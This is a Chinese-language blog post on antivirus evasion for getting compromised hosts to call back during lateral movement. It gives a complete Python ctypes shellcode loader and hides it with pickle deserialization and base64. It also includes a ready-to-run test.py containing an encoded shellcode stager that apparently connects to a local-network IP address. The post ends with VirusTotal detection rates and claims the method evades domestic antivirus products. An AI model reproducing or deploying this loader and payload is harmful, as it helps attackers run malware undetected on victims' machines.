在日常的渗透行动当中,当我们对目标进行内网横向渗透时很不幸的是内网一般往往都会部署防火墙、流量监控等设备,杀软更是成为了服务器的标配,所以如何进行免杀绕过杀毒软件的限制让主机上线成了我们首要解决的问题之一
下面使用python反序列化进行免杀
这是python原始shellcode加载方式
shellcode=b"\xfc\x48\x83\xe4\xf0\xe8..." shellcode=bytearray(shellcode) #设置VirtualAlloc返回类型为ctypes.c_uint64 ctypes.windll.kernel32.VirtualAlloc.restype=ctypes.c_uint64 #申请内存 ptr=ctypes.windll.kernel32.VirtualAlloc(ctypes.c_int(0),ctypes.c_int(len(shellcode)),ctypes.c_int(0x3000),ctypes.c_int(0x40)) #放入shellcode buf=(ctypes.c_char*len(shellcode)).from_buffer(shellcode) ctypes.windll.kernel32.RtlMoveMemory( ctypes.c_uint64(ptr), buf, ctypes.c_int(len(shellcode)) ) #创建一个线程从shellcode防止位置首地址开始执行 handle=ctypes.windll.kernel32.CreateThread( ctypes.c_int(0), ctypes.c_int(0), ctypes.c_uint64(ptr), ctypes.c_int(0), ctypes.c_int(0), ctypes.pointer(ctypes.c_int(0)) ) #等待上面创建的线程运行完 ctypes.windll.kernel32.WaitForSingleObject(ctypes.c_int(handle),ctypes.c_int(-1))importctypes
当然这个原始的加载方式已经被杀烂了
跟其它语言一样,Python也有序列化的功能,官方库里提供了pickle/cPickle的库用于序列化和反序列化,pickle可以序列化python的任何数据结构,包括一个类,一个对象。
将主要的加载语句进行序列化加密输出:
classgugu: def__reduce__(self): return(exec,(""" ctypes.windll.kernel32.VirtualAlloc.restype=ctypes.c_uint64 ptr=ctypes.windll.kernel32.VirtualAlloc(ctypes.c_int(0),ctypes.c_int(len(shellcode)),ctypes.c_int(0x3000),ctypes.c_int(0x40)) buf=(ctypes.c_char*len(shellcode)).from_buffer(shellcode) ctypes.windll.kernel32.RtlMoveMemory(ctypes.c_uint64(ptr),buf,ctypes.c_int(len(shellcode))) handle=ctypes.windll.kernel32.CreateThread(ctypes.c_int(0),ctypes.c_int(0),ctypes.c_uint64(ptr),ctypes.c_int(0),ctypes.c_int(0),ctypes.pointer(ctypes.c_int(0))) ctypes.windll.kernel32.WaitForSingleObject(ctypes.c_int(handle),ctypes.c_int(-1)) """,)) ret=pickle.dumps(gugu()) enret=base64.b64encode(ret) print(enret)importpickle,base64,ctypes
然后将输出的加密字符进行复制
当然原始的shellcode也需要加密
importbase64 shellcode=b"\xfc\x48\x83\xe4\xf0\xe8.." print(base64.b64encode(shellcode))
将输出内容也复制
接下来可以反序列化输出执行了,最终结果如下:
test.py
#加密的shellcode encode=b'/EiD5PDoyAAAAEFRQVBSUVZIMdJlSItSYEiLUhhIi1IgSItyUEgPt0pKTTHJSDHArDxhfAIsIEHByQ1BAcHi7VJBUUiLUiCLQjxIAdBmgXgYCwJ1couAiAAAAEiFwHRnSAHQUItIGESLQCBJAdDjVkj/yUGLNIhIAdZNMclIMcCsQcHJDUEBwTjgdfFMA0wkCEU50XXYWESLQCRJAdBmQYsMSESLQBxJAdWdAQAASP/PD4SMAQAA69Pp5AEAAOiiL0V3aDkANU8hUCVAQVBbNFxQWlg1NChQXik3Q0MpN30kRUlDQVItU1RBTkRBUkQtQU5USVZJUlVTLVRFU1QtRklMRSEkSCtIKgA1TyFQJQBVc2VyLUFnZW50OiBNb3ppbGxhLzUuMCAoY29tcGF0aWJsZTsgTVNJRSA5LjA7IFdpbmRvd3MgTlQgNi4xOyBXT1c2NDsgVHJpZGVudC81LjA7IE1BTk07IE1BTk0pDQoANU8hUCVAQVBbNFxQWlg1NChQXik3Q0MpN30kRUlDQVItU1RBTkRBUkQtQU5USVZJUlVTLVRFU1QtRklMRSEkSCtIKgA1TyFQJUBBUFs0XFBaWDU0KFBeKTdDQyk3fSRFSUNBUi1TVEFOREFSRC1BTlRJVklSVVMtVEVTVC1GSUxFISRIK0gqADVPIVAlQEFQWzRcUFpYNTQoUF4pN0NDKTd9JEVJQ0FSLVNUQU5EQVJELUFOVElWSVJVUy1URVNULUZJTEUhJEgrSCoANU8AQb7wtaJW/9VIMcm6AABAAEG4ABAAAEG5QAAAAEG6WKRT5f/VSJNTU0iJ50iJ8UiJ2kG4ACAAAEmJ+UG6EpaJ4v/VSIPEIIXAdLZmiwdIAcOFwHXXWFhYSAUAAAAAUMPon/3//zE5Mi4xNjguMS40MAAAAAAA' #将shellcode进行解密 sbA_V=bytearray(base64.b64decode(encode)) #这是刚才序列化输出的加密字符 a=b'gASVcgIAAAAAAACMCGJ1aWx0aW5zlIwEZXhlY5STlFhTAgAAICAgICAgICAgICAgICAgIApjdHlwZXMud2luZGxsLmtlcm5lbDMyLlZpcnR1YWxBbGxvYy5yZXN0eXBlID0gY3R5cGVzLmNfdWludDY0CnB0ciA9IGN0eXBlcy53aW5kbGwua2VybmVsMzIuVmlydHVhbEFsbG9jKGN0eXBlcy5jX2ludCgwKSwgY3R5cGVzLmNfaW50KGxlbihzYkFfVikpLCBjdHlwZXMuY19pbnQoMHgzMDAwKSwgY3R5cGVzLmNfaW50KDB4NDApKQpidWYgPSAoY3R5cGVzLmNfY2hhciAqIGxlbihzYkFfVikpLmZyb21fYnVmZmVyKHNiQV9WKQpjdHlwZXMud2luZGxsLmtlcm5lbDMyLlJ0bE1vdmVNZW1vcnkoY3R5cGVzLmNfdWludDY0KHB0ciksIGJ1ZiwgY3R5cGVzLmNfaW50KGxlbihzYkFfVikpKQpoYW5kbGUgPSBjdHlwZXMud2luZGxsLmtlcm5lbDMyLkNyZWF0ZVRocmVhZChjdHlwZXMuY19pbnQoMCksY3R5cGVzLmNfaW50KDApLGN0eXBlcy5jX3VpbnQ2NChwdHIpLGN0eXBlcy5jX2ludCgwKSxjdHlwZXMuY19pbnQoMCksY3R5cGVzLnBvaW50ZXIoY3R5cGVzLmNfaW50KDApKSkKY3R5cGVzLndpbmRsbC5rZXJuZWwzMi5XYWl0Rm9yU2luZ2xlT2JqZWN0KGN0eXBlcy5jX2ludChoYW5kbGUpLGN0eXBlcy5jX2ludCgtMSkpCpSFlFKULg==' #将a的加密内容进行解密同时反序列化输出执行 pickle.loads(base64.b64decode(a))importpickle,base64,ctypes
微步云查杀结果:
vt查杀结果
经测试发现pyinstaller即使是仅打包类似于仅仅print(1)这种代码也会触发相同的检测结果。vt查杀率为6/71,部分杀软对pyinstaller打包程序本身就加入了特征检测。打包程序本没有错,关键看使用者,这帮杀软太不讲武德了
但是,免杀国内的杀软还是够用的?